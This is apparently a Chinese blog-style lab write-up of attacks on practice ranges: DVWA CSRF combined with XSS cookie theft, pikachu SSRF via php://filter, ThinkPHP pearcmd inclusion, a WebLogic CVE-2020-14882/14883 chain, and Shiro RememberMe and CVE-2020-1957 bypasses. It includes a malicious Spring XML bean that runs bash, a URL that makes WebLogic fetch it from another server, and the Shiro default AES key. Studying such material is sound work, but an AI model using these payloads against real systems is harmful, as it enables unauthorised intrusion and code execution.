CSRF、SSRF、RCE 漏 洞

1.CSRF: CSRF 漏洞全称是跨站请求伪造(Cross - site Request Forgery1。其原理是利用用户已登录目标网站的身份,诱使用户点击恶意链接或访问恶意网站,在用户不知情的情况下,以用户的名义向目标网站发送请求,执行一些非用户本意的操作,如修改密码、转账等

2.DVWA之CSRF中high等级结合存储型XSS攻击

通过burpsuite抓包分析high级别加入了验证token机制,每次修改密码需要提交服务器生成的随机的token参数。这个High安全等级主要是利用了DVWA的XSS漏洞和CSRF漏洞共同完成的,找到DVWA的XSS模块,通过XSS漏洞获取浏览器Cookie。

2.1利用XSS获取cookie

使用1337用户获取cookie

2.2登录admin 修改数据包密码,改成1337用户的COOKIE变成低等级LOW,删除token

2.3 改好后把数据包放过去此时1337用户的密码已修改

3. 使用Burp生成CSRF利用POC并实现攻击

3.1使用pikachu靶场,CSRF修改用户个人信息

3.2Include auto - submit script:勾选后会包含自动提交脚本,能让构造好的 CSRF 攻击页面自动提交表单,无需手动触发,增强攻击的自动化程度。

3.2运行CSRF HTML后的LILI个人的信息已修改

4.SSRF:file_get_content实验,要求获取ssrf.php的源码

4.1file_get_contents里面带有 php://filter 我们可以它来读取php源码,所以构造URL

http://159.75.158.180:8000/vul/ssrf/ssrf_fgc.php? file=php://filter/resource=ssrf.php

4.2但是php文件被解析了,我们希望拿到网站的源代码,那么需要对代码做一层编码,不让它解析,拿到之后我们再进行解码,这样就拿到了网站的源代码:在read参数中加入 convert.base64-encode, PHP: 转换过滤器 - Manual

http://159.75.158.180:8000/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-

encode/resource=ssrf.php

4.3最后对经过base64编码后的代码进行解码,即得到ssrf.php的源码

4.4PHP源码

<?php

/**

 * Created by runner.han

 * There is nothing new under the sun

 */

$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "ssrf.php"){

    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');

}

$PIKA_ROOT_DIR =  "../../";

include_once $PIKA_ROOT_DIR.'header.php';

?>

<div class="main-content">

    <div class="main-content-inner">

        <div class="breadcrumbs ace-save-state" id="breadcrumbs">

            <ul class="breadcrumb">

                <li>

                    <i class="ace-icon fa fa-home home-icon"></i>

                    <a href="ssrf.php"></a>

                </li>

                <li class="active">概述</li>

            </ul>

        </div>

        <div class="page-content">

         <b>SSRF(Server-Side Request Forgery:服务器端请求伪造)</b>

         <p>其形成的原因大都是由于服务端<b>提供了从其他服务器应用获取数据的功能</b>,但又没有对目标地址做严格过滤与限制</p>

            导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据<br>

            <br>

            数据流:攻击者----->服务器---->目标地址<br>

            <br>

            根据后台使用的函数的不同,对应的影响和利用方法又有不一样

            <pre style="width: 500px;">

PHP中下面函数的使用不当会导致SSRF:

file_get_contents()

fsockopen()

curl_exec()

            </pre><br>

            如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,<b>则请做好目标地址的过滤</b>。

<br>

            <br>

            你可以根据"SSRF"里面的项目来搞懂问题的原因

        </div><!-- /.page-content -->

    </div>

</div><!-- /.main-content -->

<?php

include_once $PIKA_ROOT_DIR . 'footer.php';

?>

5.RCE:分别实现ThinkPHP漏洞的利用过程

202212月,Thinkphp被披露出在开启多语言特性的情况下存在文件包含漏洞,攻击者可以通过getheadercookie等位置传入参数,实现目录遍历+文件包含,通过pearcmd文件包含trick即可实现RCE

漏洞利用条件:

1)、多语言特性开启

2)、安装pear库

3)、register_argc_argv = on

4)、知道pearcmd.php路径

5.1漏洞影响范围:

6.0.1 < ThinkPHP ≤ 6.0.13

5.1.0 < ThinkPHP ≤ 5.1.8

5.0.0 < ThinkPHP ≤ 5.0.12

————————————————

  5.2插入代码实现文件包含需要用BURP抓包绕过

5.3访问文件地址,RCE成功实现

6. RCE Weblogic 漏洞的利用过程

Weblogic未授权远程命令执行漏洞。组合利用 CVE-2020-14882 CVE-2020-14883 可以使攻击者绕过Weblogic后台登录限制,远程代码执行获取Weblogic服务器权限

6.1.安装Docker-compose:yum insta11 -y docker-compose

6.2下载vulhub: git clone https://github.com/vu1hub/vu1hub.git

6.3 进入Vulub

6.4进入WEBLIGIC,启动容器

6.5 CVE-2020-14882(未授权访问到管理后台页面)

登录http://159.75.158.180:7001/console/css/%252e%252e%252fconsole.portal

因为是未授权访问,实际并没有操作权限只能查看,要实现 RCE 漏洞需要利用XML,将构造好的xml文件放在自己搭建的服务器上

6.6 构造一个恶意的XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml :在upload-labs 靶场上传http://159.75.158.180:8081/Pass-01/index.php,XML文档如下:

<?xml version="1.0" encoding="UTF-8" ?>

<beans xmlns="http://www.springframework.org/schema/beans"

   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">

        <constructor-arg>

          <list>

            <value>bash</value>

            <value>-c</value>

            <value><![CDATA[touch /tmp/success1]]></value>

          </list>

        </constructor-arg>

    </bean>

</beans>

访问如下URL,即可让Weblogic加载该恶意XML文件,并执行其中的命令:

159.75.158.180:7001/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://159.75.158.180:8081/upload/cve.xml")

6.7虽然网站返回404,但命令已经执行,文件在后台成功创建,进入容器就可以查到创建的success1文件

7.RCE Shiro漏洞的利用过程

7.1Apache Shiro是一款开源Java安全框架,提供身份验证、授权、密码和会话管理等功能。

在Apache Shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项,登录后请求数据包中的Cookie字段将会多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的,加密过程:

7.2用户信息 --> 序列化 --> AES加密(这一步需要用密钥key) --> Base64编码 --> RememberMe Cookie值

7.3识别身份时服务端会对Cookie里的RememberMe解密。因为AES加密的密钥被硬编码在代码里默认密钥:kPH+bIxk5D2deZiIxcaaaA==),如果把用户信息替换为恶意命令,经过解密后被服务端接收解密过程中未进行过滤,造成该漏洞,实现远程命令执行。

7.4 影响范围:Apache Shiro ≤ 1.2.4

7.5在登录页面勾选记住密码后抓包登录,查看请求包中是否有RememberMe字段,如果响应包中有RememberMe=deleteMe字段说明登录页面采用了Shiro框架进行身份验证,但不能直接说明存在该漏洞。

7.6 利用ShiroExploit.V2.51工具检测

输入目标地址

找到KEY值

7.7 利用shiro_attack_2.2

实现远程命令执行

7.8 Shiro权限绕过漏洞(CVE-2020-1957)

7.81漏洞概述:Apache Shiro 1.5.2之前的版本,由于Shiro拦截器和Web框架拦截器对RequestURI的匹配流程存在差异,导致攻击者通过构造特殊的http请求,可以绕过Shiro的认证,未授权访问敏感路径。

以Spring框架为例。Spring Boot搭配Apache Shiro进行身份验证、权限控制时,利用Spring和Apache 和Shiro对URL的处理逻辑不同,实现认证绕过和未授权访问

7.82 影响范围

Apache Shiro < 1.5.2

7.83直接请求管理页面/admin/ ,无法访问,将会被重定向到登录页面:

7.84构造恶意请求url:http://ip:port/xxx/…;/admin/,访问到管理页面,越权成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值